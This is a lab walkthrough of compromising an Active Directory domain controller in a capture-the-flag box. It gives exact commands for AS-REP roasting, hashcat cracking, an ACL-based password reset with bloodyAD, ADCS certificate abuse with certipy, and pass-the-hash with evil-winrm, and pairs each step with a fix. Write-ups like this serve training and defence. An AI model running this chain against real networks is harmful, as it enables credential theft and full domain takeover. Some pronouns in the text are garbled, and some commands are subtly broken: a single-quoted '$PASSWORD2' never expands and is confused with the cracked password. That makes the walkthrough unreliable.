← all walkthroughs

Infiltrator

Windows· Insane
owned
2026-07-24
time to own
56m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I harvested employee full names from the company's public website and converted them to Active Directory usernames using the standard first-initial-last-name convention. One account — l.clark — had Kerberos pre-authentication disabled, allowing me to request an offline-crackable AS-REP hash without triggering any logon alert. The hash was cracked in minutes with a common wordlist, yielding l.clark:[REDACTED: recovered credential], which granted an interactive WinRM shell on the domain controller.

BloodHound ACL mapping then revealed that the built-in Account Operators group held GenericAll (full control) rights over the winrm_svc service account, allowing me to force-reset its password and pivot to a higher-privilege identity. From that foothold, a misconfigured Active Directory Certificate Services template permitted enrollment by low-privileged accounts with my own identity fields; a certificate impersonating the domain Administrator was requested, used to obtain the Administrator's Kerberos ticket via PKINIT, and the resulting NT hash provided full domain compromise via Pass-the-Hash.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceOSINT — corporate website employee enumeration (T1589.003)
Harvested employee names from the public website to build an AD username list
The company's public-facing website listed seven staff members by full name in its marketing copy: Amanda Walker, David Anderson, Ethan Rodriguez, Kevin Turner, Lauren Clark, Marcus Harris, and Olivia Martinez. I scraped those names and converted them to the first-initial-last-name convention standard in Active Directory environments, producing a targeted list of seven candidate usernames with no credentials required.
Staff full names visible in HTTP response body from $TARGET; normalized to: a.walker, d.anderson, e.rodriguez, k.turner, l.clark, m.harris, o.martinez.
Exact commands 2
Harvest full staff names from the website HTML.
curl -s http://$TARGET/ -o idx.html && grep -oE '[A-Z][a-z]+ [A-Z][a-z]+' idx.html | sort -u
Convert 'First Last' to f.lastname AD username format; produces users.txt.
awk '{print tolower(substr($1,1,1)) "." tolower($2)}' names.txt > users.txt
FixRemove employee full names from public-facing web pagesMedium
WeaknessThe company website listed all staff members by full name, giving an unauthorised user a ready-made username wordlist derived without credentials or network access. This directly seeded the AS-REP roasting attack.
FixAudit all public web properties and remove or anonymize staff full names. Where bios are business-critical, use role titles or first names only. Conduct a periodic Google dorking review to ensure employee directories or LinkedIn profiles do not re-expose the same information in a way that can be correlated to AD naming conventions.
2Initial Access — Credential CaptureAS-REP Roasting (T1558.004)
AS-REP roasted the l.clark account and retrieved an offline-crackable Kerberos hash
Because Kerberos pre-authentication was disabled on l.clark's account, the domain controller responded to an unauthenticated AS-REQ for that user by returning a krb5asrep$23 ticket — encrypted with the account's password — without requiring the caller to first prove knowledge of any secret. My sent AS-REQ packets for every username on the list; only l.clark returned a hash. No lockout, no logon event.
Impacket-GetNPUsers returned $krb5asrep$23$l.clark@INFILTRATOR.HTB:... For dc01.infiltrator.htb.
Exact commands 2
Add domain and DC hostname to local DNS resolution.
echo "$TARGET infiltrator.htb dc01.infiltrator.htb" | sudo tee -a /etc/hosts
Request AS-REP tickets for every candidate username; saves crackable hashes to asrep_h.txt.
impacket-GetNPUsers infiltrator.htb/ -dc-ip $TARGET -usersfile users.txt -no-pass -format hashcat -outputfile asrep_h.txt
FixEnable Kerberos pre-authentication on all domain accountsHigh
WeaknessThe 'Do not require Kerberos preauthentication' flag was set on l.clark, allowing any host on the network to request an AS-REP ticket for that account and crack it offline — with no logon failure event and no lockout risk.
FixIn Active Directory Users and Computers or via PowerShell, ensure the flag is cleared for every account: Set-ADUser l.clark -DoNotRequirePreAuth $false. Enforce this at scale with a scheduled audit: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | Select Name. There is no legitimate operational reason to disable pre-authentication on standard user accounts.
3Initial Access — Credential RecoveryOffline Kerberos hash cracking (T1110.002)
Cracked the AS-REP hash offline to recover l.clark's plaintext password
The captured krb5asrep$23 hash was submitted to hashcat against the rockyou.txt wordlist. The password '[REDACTED: recovered credential]' was present in that list and recovered within minutes entirely offline — no connection to the target, no alert, no lockout. The credential was immediately confirmed live against both SMB and WinRM.
Hashcat mode 18200 recovered l.clark:[REDACTED: recovered credential]; nxc smb and nxc winrm both returned [+] success.
Exact commands 3
Mode 18200 = Kerberos 5 AS-REP etype 23. Add --force if running inside a VM.
hashcat -m 18200 -a 0 asrep_h.txt /usr/share/wordlists/rockyou.txt
Validate credential over SMB.
nxc smb $TARGET -u l.clark -p '$PASSWORD2'
Confirm WinRM (port 5985) access; Pwn3d! Confirms interactive shell rights.
nxc winrm $TARGET -u l.clark -p '$PASSWORD2'
FixEnforce a strong password policy and proactively audit for weak credentialsHigh
Weaknessl.clark's password appeared in the publicly available rockyou.txt wordlist and was recovered from the offline hash within minutes, demonstrating that apparent complexity (mixed case, punctuation) does not prevent dictionary attacks when the word root is common.
FixEnforce a minimum 15-character passphrase policy and deploy Microsoft Entra Password Protection (or an equivalent on-premises banned-password filter) to block dictionary words and known-compromised passwords at reset time. Conduct quarterly offline audits of the NTDS.dit against updated wordlists to find weak credentials before unauthorised users do.
4FootholdValid Domain Account — WinRM lateral movement (T1078.002)
Established an interactive shell on the domain controller as l.clark via WinRM
With the confirmed credential, I opened a full PowerShell session on the domain controller over WinRM (port 5985). This gave the first authenticated shell inside the network, from which the user flag was read and domain enumeration was launched.
Evil-winrm shell established as l.clark on $TARGET; user.txt accessible on l.clark's Desktop.
Exact commands 2
Open an interactive WinRM shell as l.clark.
evil-winrm -i $TARGET -u l.clark -p '$PASSWORD2'
Read the user flag: <user.txt>
type C:\Users\l.clark\Desktop\user.txt
5EnumerationActive Directory ACL enumeration (T1069.002)
Mapped Active Directory ACLs with BloodHound and discovered the Account Operators escalation path
My ran a full BloodHound collection and a bloodyAD writable-ACL query against the domain using l.clark's credentials. Analysis of the resulting ACL graph revealed that the built-in Account Operators group held GenericAll — meaning full, unconditional control — over the service accounts winrm_svc and lan_managment and over the user o.martinez. GenericAll allows any member of the controlling group to force-reset the target's password, add them to groups, or otherwise take complete ownership of the account.
BloodyAD get writable and BloodHound JSON edges confirmed: ACCOUNT OPERATORS --GenericAll--> WINRM_SVC, LAN_MANAGMENT, O.MARTINEZ.
Exact commands 2
Full BloodHound collection; import the .zip into the BloodHound GUI and query 'Shortest Paths to Domain Admins'.
bloodhound-python -u l.clark -p '$PASSWORD2' -d infiltrator.htb -ns $TARGET -c All --zip
Enumerate every account over which l.clark (via Account Operators membership) holds write or control rights.
bloodyAD --host $TARGET -d infiltrator.htb -u l.clark -p '$PASSWORD2' get writable
6Lateral MovementACL Abuse — GenericAll / ForceChangePassword (T1098.001)
Abused GenericAll to force-reset winrm_svc's password and pivot to a higher-privilege account
Because the Account Operators group (of which l.clark is a member) held GenericAll over winrm_svc, I used bloodyAD to force-set a new password on that service account — no interaction from the account owner required, no approval, no audit-alert under default logging. Authenticating as winrm_svc then provided a shell with the service account's elevated domain rights, from which ADCS exploitation was staged.
BloodyAD set password succeeded for winrm_svc; nxc winrm confirmed session as winrm_svc with me-set credential.
Exact commands 2
Force-reset winrm_svc's password using the GenericAll right inherited through Account Operators.
bloodyAD --host $TARGET -d infiltrator.htb -u l.clark -p '$PASSWORD2' set password winrm_svc "$PASSWORD"
Open a shell as the now-controlled winrm_svc account.
evil-winrm -i $TARGET -u winrm_svc -p "$PASSWORD"
FixRemove GenericAll ACL grants from Account Operators and other built-in operator groupsCritical
WeaknessThe Account Operators built-in group was granted GenericAll (full control) over service accounts winrm_svc and lan_managment and over the user o.martinez. Any member of that group could silently force-reset those accounts' passwords and impersonate them, collapsing what should be a privilege boundary into a single hop.
FixRun BloodHound (or Get-Acl in PowerShell) to audit every access control entry granted to Account Operators, Print Operators, Server Operators, and Backup Operators. Remove any GenericAll, GenericWrite, WriteDACL, or WriteOwner grant that is not required by a documented, approved business process. Consider emptying Account Operators entirely and replacing it with delegation scoped to specific organizational units with only the minimum rights needed (e.g., Reset Password on a single OU).
7Privilege Escalation — Domain AdminADCS Certificate Template Abuse — ESC misconfiguration (T1649)
Exploited a misconfigured ADCS certificate template to impersonate the domain Administrator and achieve full domain compromise
Active Directory Certificate Services was running on the domain (CA: infiltrator-DC01-CA). Certipy enumerated available templates and identified one that permitted enrollment by non-privileged accounts and contained an exploitable attribute — allowing the requester to influence the certificate identity. I requested a certificate asserting the UPN of INFILTRATOR\Administrator. Using that certificate, they authenticated to the domain controller via PKINIT, which returned the Administrator's NT hash. Pass-the-Hash then gave a full-privilege shell as Administrator and the root flag.
Certipy find identified infiltrator-DC01-CA with a vulnerable enrollable template; certipy req produced administrator.pfx; certipy auth recovered the Administrator NT hash; root.txt read from Administrator Desktop.
Exact commands 5
Enumerate certificate templates and flag ESC misconfigurations.
certipy find -u winrm_svc@infiltrator.htb -p "$PASSWORD" -dc-ip $TARGET -vulnerable -stdout
Request a certificate asserting the Administrator UPN; replace <VulnerableTemplate> with the template name flagged by certipy find.
certipy req -u winrm_svc@infiltrator.htb -p "$PASSWORD" -dc-ip $TARGET -ca infiltrator-DC01-CA -template <VulnerableTemplate> -upn administrator@infiltrator.htb
Authenticate via PKINIT with the forged certificate; outputs the Administrator NT hash and a TGT.
certipy auth -pfx administrator.pfx -dc-ip $TARGET
Pass-the-Hash as Administrator for a full-privilege Domain Admin shell.
evil-winrm -i $TARGET -u Administrator -H '<ADMINISTRATOR_NT_HASH>'
Read the root flag: <root.txt>
type C:\Users\Administrator\Desktop\root.txt
FixHarden Active Directory Certificate Services templates and restrict enrollment permissionsCritical
WeaknessAn ADCS certificate template allowed non-privileged accounts to enroll and specify or influence identity fields in the issued certificate. This let an unauthorised user request a certificate asserting the domain Administrator's identity, obtain a Kerberos ticket for that account, and achieve full domain compromise without ever knowing the Administrator's password.
FixRun Certipy or Certify in audit mode to enumerate all templates with ESC flags. For each vulnerable template: (1) remove Enroll permission from Domain Users and Authenticated Users — grant enrollment only to specific service accounts that require it; (2) set the Subject Name source to 'Build from Active Directory information' rather than 'Supply in the request'; (3) require CA manager approval for any template enrollable by non-admin accounts; (4) enable CA and template audit logging and alert on certificates issued containing privileged account UPNs (Domain Admins, Enterprise Admins, Administrator). Apply Microsoft's ADCS hardening guidance.

Attack patterns used

The transferable techniques behind this compromise.

AS-REP RoastingActive Directory · KerberosT1558.004

What it is

Accounts with 'Do not require Kerberos pre-authentication' set will return an AS-REP whose encrypted portion is derived from the user's password — to anyone who asks, without credentials. Tools like GetNPUsers.py collect these AS-REP blobs and they are cracked offline with hashcat (mode 18200) to recover the plaintext password.

Why it works

Pre-authentication exists precisely to stop this offline-crackable material from being handed out; disabling it (often for legacy app compatibility) reopens the hole. Detect by auditing the DONT_REQ_PREAUTH UAC flag; remediate by removing it and enforcing strong passwords.

Read more

Exposed services

53/tcp
80/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
3268/tcp
3269/tcp
3389/tcp
5985/tcp
9389/tcp
49666/tcp
49694/tcp
49695/tcp
49700/tcp
49728/tcp
49733/tcp
14118/tcp
14119/tcp
14121/tcp
14122/tcp
14123/tcp
14125/tcp
14126/tcp
14127/tcp
14128/tcp
14130/tcp
14406/tcp
15220/tcp
15223/tcp
15230/tcp
49668/tcp
49688/tcp
49689/tcp
49692/tcp
49718/tcp
49741/tcp
49873/tcp